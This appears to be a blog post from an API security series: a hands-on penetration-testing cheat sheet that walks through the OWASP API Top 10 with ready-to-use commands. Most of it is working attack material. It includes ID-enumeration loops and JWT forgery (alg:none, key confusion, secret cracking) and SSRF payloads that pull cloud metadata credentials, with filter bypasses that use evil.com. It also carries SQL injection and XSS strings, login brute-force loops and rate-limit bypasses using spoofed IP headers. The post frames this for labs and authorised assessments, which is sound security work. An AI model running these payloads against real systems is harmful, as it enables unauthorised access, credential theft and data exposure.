This is Part 2 of my API security series. Part 1 covers the concepts and methodologyβthis post is the hands-on cheat sheet.
Every technique here is something Iβve used in labs or real assessments. Copy, paste, modify for your target.
Quick Reference
| Vulnerability | Severity | First Test |
|---|---|---|
| BOLA/IDOR | π΄ Critical | Change object ID, keep your token |
| Broken Auth | π΄ Critical | Decode JWT, test alg: none |
| Property Level | π High | Add "role": "admin" to requests |
| Resource Exhaustion | π High | ?limit=999999 |
| BFLA | π΄ Critical | Access /api/admin/* with user token |
| Business Flows | π High | Automate purchases, reuse coupons |
| SSRF | π΄ Critical | {"url": "http://169.254.169.254/"} |
| Misconfiguration | π‘ Medium | Check /swagger.json, test CORS |
| Inventory | π High | Try /api/v1/, /api/beta/ |
| Unsafe Consumption | π‘ Medium | Poison webhook callback data |
Essential Tools: Burp Suite | ffuf | jwt_tool | Kiterunner
API1: Broken Object Level Authorization (BOLA/IDOR)
Test
# Your account
curl -H "Authorization: Bearer $TOKEN" \
https://api.target.com/api/users/100
# Someone else's account (same token, different ID)
curl -H "Authorization: Bearer $TOKEN" \
https://api.target.com/api/users/101
π΄ Vulnerable Response:
HTTP/1.1 200 OK
{"id": 101, "email": "victim@example.com", "ssn": "123-45-6789"}
π’ Secure Response:
HTTP/1.1 403 Forbidden
{"error": "Access denied"}
More Commands
Identify endpoints with object references:
GET /api/users/12345/profile
GET /api/orders?order_id=9876
POST /api/messages {"recipient_id": "5432"}
Enumerate sequential IDs with ffuf:
ffuf -u "https://api.target.com/api/users/FUZZ/profile" \
-w <(seq 1 10000) \
-H "Authorization: Bearer $TOKEN" \
-mc 200
Handle encoded IDs:
# Decode base64 ID
echo "MTIzNDU=" | base64 -d # Output: 12345
# Encode modified ID
echo "12346" | base64 # Use this in your request
Automate with Burp Autorize:
- Install Autorize from BApp Store
- Paste low-privilege session token in config
- Browse the app as high-privilege user
- Check results: Red = broken authorization
Test both directions:
# Horizontal: User A β User B's data
# Vertical: Regular user β Admin user's data (try ID 1, 0, admin)
API2: Broken Authentication (JWT Focus)
Test
# Decode and inspect the token
echo "$JWT" | cut -d. -f1 | base64 -d # Header
echo "$JWT" | cut -d. -f2 | base64 -d # Payload
π΄ Vulnerable Response (alg:none accepted):
HTTP/1.1 200 OK
{"user": "admin", "role": "administrator"}
π’ Secure Response:
HTTP/1.1 401 Unauthorized
{"error": "Invalid token signature"}
More Commands
Test βnoneβ algorithm attack:
# Original header
{"alg": "HS256", "typ": "JWT"}
# Modified header (base64 encode this)
{"alg": "none", "typ": "JWT"}
# Build token: header.payload. (no signature, but keep the dot)
Algorithm confusion attack (RS256 β HS256):
# Get the public key
curl -s https://target.com/.well-known/jwks.json | jq
# Convert JWK to PEM, then use jwt_tool
python3 jwt_tool.py "$JWT" -X k -pk public.pem
# Or manually: change alg to HS256, sign with public key as secret
Crack weak secrets:
# Using hashcat
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
# Using jwt_tool
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt
Test kid parameter injection:
# SQL injection in kid
{"alg":"HS256", "typ":"JWT", "kid":"key1' UNION SELECT 'secret'--"}
# Path traversal in kid
{"alg":"HS256", "typ":"JWT", "kid":"../../../etc/passwd"}
Test token lifecycle:
# Replay expired tokens
# Modify payload without re-signing
# Use token after logout
# Use token from different user
API3: Broken Object Property Level Authorization
Test
# Check what comes back
curl -s https://api.target.com/api/users/me | jq
π΄ Vulnerable Response (excessive data):
HTTP/1.1 200 OK
{
"id": 100,
"email": "user@example.com",
"password_hash": "$2b$12$...",
"ssn": "123-45-6789",
"internal_role": "user",
"api_key": "sk_live_..."
}
π’ Secure Response:
HTTP/1.1 200 OK
{
"id": 100,
"email": "user@example.com",
"name": "John Doe"
}
More Commands
Mass Assignment β Inject extra fields:
# Original request
POST /api/users
{"username": "test", "password": "test123"}
# Try adding privilege fields
curl -X POST https://api.target.com/api/users \
-H "Content-Type: application/json" \
-d '{
"username": "test",
"password": "test123",
"role": "admin"
}'
Common fields to try:
{"isAdmin": true}
{"role": "admin"}
{"permissions": ["read", "write", "delete"]}
{"verified": true}
{"credits": 99999}
{"discount": 100}
{"price": 0}
{"approved": true}
Discover parameters with Arjun:
arjun -u https://api.target.com/api/users -m JSON \
-H "Authorization: Bearer $TOKEN"
API4: Unrestricted Resource Consumption
Test
# Rapid-fire requests
for i in {1..100}; do
curl -s -o /dev/null -w "%{http_code}\n" \
https://api.target.com/api/login \
-d '{"user":"admin","pass":"test'$i'"}' &
done
π΄ Vulnerable Response (no rate limit):
200
200
200
... (100 times, no 429)
π’ Secure Response:
200
200
429 Too Many Requests
429 Too Many Requests
More Commands
Test pagination limits:
curl "https://api.target.com/api/users?limit=999999"
curl "https://api.target.com/api/users?per_page=100000"
curl "https://api.target.com/api/users?page_size=-1"
GraphQL resource exhaustion:
# Depth attack
query {
user {
friends {
friends {
friends {
friends { name }
}
}
}
}
}
# Width attack (request everything)
query {
user { ...allFields }
posts { ...allFields }
comments { ...allFields }
}
GraphQL batching (bypass rate limits):
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{
"query": "mutation { a: login(u:\"admin\",p:\"pass1\"){token} b: login(u:\"admin\",p:\"pass2\"){token} c: login(u:\"admin\",p:\"pass3\"){token} }"
}'
API5: Broken Function Level Authorization (BFLA)
Test
# Access admin endpoint with regular user token
curl -H "Authorization: Bearer $USER_TOKEN" \
https://api.target.com/api/admin/users
π΄ Vulnerable Response:
HTTP/1.1 200 OK
[{"id": 1, "email": "admin@example.com", "role": "admin"}, ...]
π’ Secure Response:
HTTP/1.1 403 Forbidden
{"error": "Admin access required"}
More Commands
Fuzz for admin/internal endpoints:
ffuf -u "https://api.target.com/api/FUZZ" \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
-H "Authorization: Bearer $USER_TOKEN" \
-mc 200,201,204,403
Common admin paths to try:
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/admin/users
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/admin/config
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/internal/metrics
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/debug
curl -H "Authorization: Bearer $USER_TOKEN" https://api.target.com/api/management/users
HTTP method tampering:
# If GET is allowed, try dangerous methods with user token
curl -X DELETE -H "Authorization: Bearer $USER_TOKEN" \
https://api.target.com/api/users/123
curl -X PUT -H "Authorization: Bearer $USER_TOKEN" \
https://api.target.com/api/users/123 \
-d '{"role": "admin"}'
curl -X PATCH -H "Authorization: Bearer $USER_TOKEN" \
https://api.target.com/api/settings \
-d '{"debug": true}'
Test with different Content-Types:
# Sometimes different parsers have different auth
curl -X POST https://api.target.com/api/admin/users \
-H "Content-Type: application/xml" \
-d '<user><role>admin</role></user>'
API6: Unrestricted Access to Sensitive Business Flows
Test
# Apply same coupon multiple times
for i in {1..10}; do
curl -X POST https://api.target.com/api/apply-coupon \
-H "Authorization: Bearer $TOKEN" \
-d '{"code": "SAVE50"}'
done
π΄ Vulnerable Response (coupon applied multiple times):
{"message": "Coupon applied", "discount": 50}
{"message": "Coupon applied", "discount": 50}
{"message": "Coupon applied", "discount": 50}
π’ Secure Response:
{"message": "Coupon applied", "discount": 50}
{"error": "Coupon already used"}
{"error": "Coupon already used"}
More Commands
Automate purchases:
for i in {1..50}; do
curl -X POST https://api.target.com/api/checkout \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"item_id": "limited_item", "quantity": 1}' &
done
Referral abuse:
# Can you refer yourself?
curl -X POST https://api.target.com/api/referral \
-H "Authorization: Bearer $TOKEN" \
-d '{"referral_code": "YOUR_OWN_CODE"}'
API7: Server-Side Request Forgery (SSRF)
Test
# AWS metadata
curl -X POST https://api.target.com/api/fetch \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
π΄ Vulnerable Response (AWS creds leaked):
HTTP/1.1 200 OK
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "..."
}
π’ Secure Response:
HTTP/1.1 400 Bad Request
{"error": "Invalid URL - internal addresses not allowed"}
More Commands
Find URL input parameters:
POST /api/fetch {"url": "https://example.com"}
POST /api/webhook {"callback_url": "https://attacker.com"}
POST /api/import {"source_url": "https://storage.com/data.csv"}
POST /api/preview {"link": "https://site.com"}
Test cloud metadata endpoints:
# AWS
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
# GCP
{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}
# Azure
{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}
Bypass URL filters:
# Decimal IP (127.0.0.1 = 2130706433)
{"url": "http://2130706433/admin"}
# IPv6 localhost
{"url": "http://[::1]/admin"}
{"url": "http://[0:0:0:0:0:0:0:1]/admin"}
# URL encoding
{"url": "http://127.0.0.1%00@evil.com/"}
{"url": "http://localhost%23@evil.com/"}
# Alternative representations
{"url": "http://127.1/"}
{"url": "http://0/"}
Internal port scanning:
# Check common internal services
for port in 22 80 443 3306 5432 6379 8080 9200; do
curl -s -o /dev/null -w "%{http_code}" \
https://api.target.com/api/fetch \
-d "{\"url\": \"http://127.0.0.1:$port\"}"
echo " - Port $port"
done
Use Burp Collaborator for blind SSRF:
{"url": "http://your-id.burpcollaborator.net/"}
API8: Security Misconfiguration
Test
curl -H "Origin: https://evil.com" \
-I https://api.target.com/api/users/me
π΄ Vulnerable Response (CORS misconfigured):
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
π’ Secure Response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://trusted-app.com
More Commands
Also test CORS with:
curl -H "Origin: null" -I https://api.target.com/api/users/me
curl -H "Origin: https://api.target.com.evil.com" -I https://api.target.com/api/users/me
Find exposed documentation:
endpoints=(
"swagger.json"
"swagger/v1/swagger.json"
"openapi.json"
"api-docs"
"swagger-ui.html"
"api/swagger.json"
"docs"
"graphql"
"graphiql"
"altair"
"playground"
".well-known/openapi.yaml"
)
for endpoint in "${endpoints[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://api.target.com/$endpoint")
echo "$code - /$endpoint"
done
Check allowed methods:
curl -X OPTIONS https://api.target.com/api/users -I
Trigger verbose errors:
curl "https://api.target.com/api/users/{{invalid}}"
curl "https://api.target.com/api/users/-1"
curl "https://api.target.com/api/users/'; DROP TABLE users;--"
API9: Improper Inventory Management
Test
# v2 with auth
curl -H "Authorization: Bearer $TOKEN" https://api.target.com/api/v2/users
# v1 without auth (test if it works)
curl https://api.target.com/api/v1/users
π΄ Vulnerable Response (old version has no auth):
HTTP/1.1 200 OK
[{"id": 1, "email": "admin@example.com"}, ...]
π’ Secure Response:
HTTP/1.1 401 Unauthorized
{"error": "Authentication required"}
More Commands
Enumerate API versions:
versions=("v1" "v2" "v3" "v4" "beta" "alpha" "internal" "legacy" "test" "dev" "staging" "old")
for ver in "${versions[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"https://api.target.com/api/$ver/users")
echo "$code - /api/$ver/users"
done
Discover shadow APIs with kiterunner:
kr scan https://api.target.com -A=apiroutes-210228:20000 \
-H "Authorization: Bearer $TOKEN"
Check subdomains for APIs:
# Common API subdomains
for sub in api api-dev api-staging api-test internal-api; do
curl -s -o /dev/null -w "%{http_code} - $sub\n" "https://$sub.target.com/"
done
API10: Unsafe Consumption of APIs
Test
# Register webhook pointing to your server
# Return malicious payloads when the API fetches from you
π΄ Vulnerable: API processes your malicious payload without validation
π’ Secure: API validates/sanitizes all external data
Attack Scenarios
If the app has webhooks, poison the callback data:
# Your webhook returns:
{"user": "<script>alert('xss')</script>"}
{"data": "'; DROP TABLE users;--"}
Test if third-party data is validated:
# If API imports from external sources, inject payloads there
# XSS, SQLi, command injection in imported data
GraphQL-Specific Attacks
Introspection query (dump the schema):
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name fields { name type { name } } } } }"}'
When introspection is disabled, use field suggestions:
# Send invalid field, server might suggest valid ones
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ usr { name } }"}'
# Response: "Did you mean 'user'?"
Find mutations:
curl -X POST https://api.target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { mutationType { fields { name } } } }"}'
Rate Limit Bypass Techniques
IP spoofing headers:
curl -H "X-Forwarded-For: 127.0.0.1" https://api.target.com/api/login
curl -H "X-Originating-IP: 1.2.3.4" https://api.target.com/api/login
curl -H "X-Client-IP: 10.0.0.1" https://api.target.com/api/login
curl -H "X-Real-IP: 192.168.1.1" https://api.target.com/api/login
curl -H "True-Client-IP: 172.16.0.1" https://api.target.com/api/login
Endpoint variations (different rate limit buckets):
/api/login
/api/login/
/api/login?dummy=1
/API/LOGIN
/api/v1/login
/api/v1.0/login
Parameter variations:
{"username": "admin", "password": "test"}
{"username": "admin ", "password": "test"} # trailing space
{"username": " admin", "password": "test"} # leading space
{"username": "Admin", "password": "test"} # case change
Essential Tools Quick Reference
Endpoint discovery:
kr scan https://target.com -A=apiroutes-210228:20000
Parameter discovery:
arjun -u https://target.com/api/endpoint -m JSON
Directory/endpoint fuzzing:
ffuf -u "https://target.com/api/FUZZ" -w wordlist.txt -mc 200,201,204
JWT manipulation:
# Decode
jwt_tool "$JWT"
# Crack
jwt_tool "$JWT" -C -d wordlist.txt
# Tamper
jwt_tool "$JWT" -T
GraphQL:
# Introspection
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ __schema { types { name } } }"}'
Practice Labs
crAPI β Full OWASP API Top 10 coverage
docker compose -f docker-compose.yml up -d
# Access at localhost:8888
DVGA β GraphQL-specific attacks
docker run -t -p 5013:5013 dolevf/dvga
Juice Shop β Mixed web/API testing
docker run -d -p 3000:3000 bkimminich/juice-shop
VAmPI β Toggleable vulnerabilities
docker run -e vulnerable=1 -p 5000:5000 erev0s/vampi:latest
Reporting Template
Use this format when documenting API security findings:
## Finding: [Vulnerability Name]
**Severity:** Critical / High / Medium / Low (CVSS X.X)
**Endpoint:** [METHOD] /api/path
**Parameter:** [Affected parameter]
### Description
[Brief description of the vulnerability]
### Steps to Reproduce
1. Authenticate as [user type]
2. Send request: [curl command or request details]
3. Observe: [what happens]
### Vulnerable Request
[Include the actual request]
### Vulnerable Response
[Include the actual response showing the issue]
### Impact
[Business impact - data exposure, account takeover, etc.]
### Remediation
[Specific fix recommendation]
### References
- OWASP API Security Top 10: [API#]
- CWE: [CWE-XXX]
Example:
## Finding: Broken Object Level Authorization in User Profile API
**Severity:** Critical (CVSS 9.1)
**Endpoint:** GET /api/users/{id}/profile
**Parameter:** id (path parameter)
### Description
The API does not validate that the authenticated user has permission
to access the requested user profile, allowing any authenticated user
to access any other user's profile data.
### Steps to Reproduce
1. Authenticate as User B (ID: 200)
2. Send: GET /api/users/100/profile with User B's token
3. Observe: User A's (ID: 100) full profile is returned
### Impact
Attacker can enumerate and access all user profiles, exposing PII
including email, phone, address, and SSN for all users.
### Remediation
Implement server-side authorization checks to verify the authenticated
user has permission to access the requested resource before returning data.
Burp Extensions to Install
| Extension | Purpose |
|---|---|
| Autorize | Automated authorization testing |
| JWT Editor | JWT manipulation and attacks |
| InQL | GraphQL introspection and query generation |
| Param Miner | Hidden parameter discovery |
| Logger++ | Enhanced request logging |
| Turbo Intruder | Fast parallel requests for race conditions |
Thatβs the cheat sheet. Bookmark it, use it on your next assessment, and let me know if I missed anything.
For the concepts behind all of this, check out Part 1.
Questions or feedback? Find me on GitHub.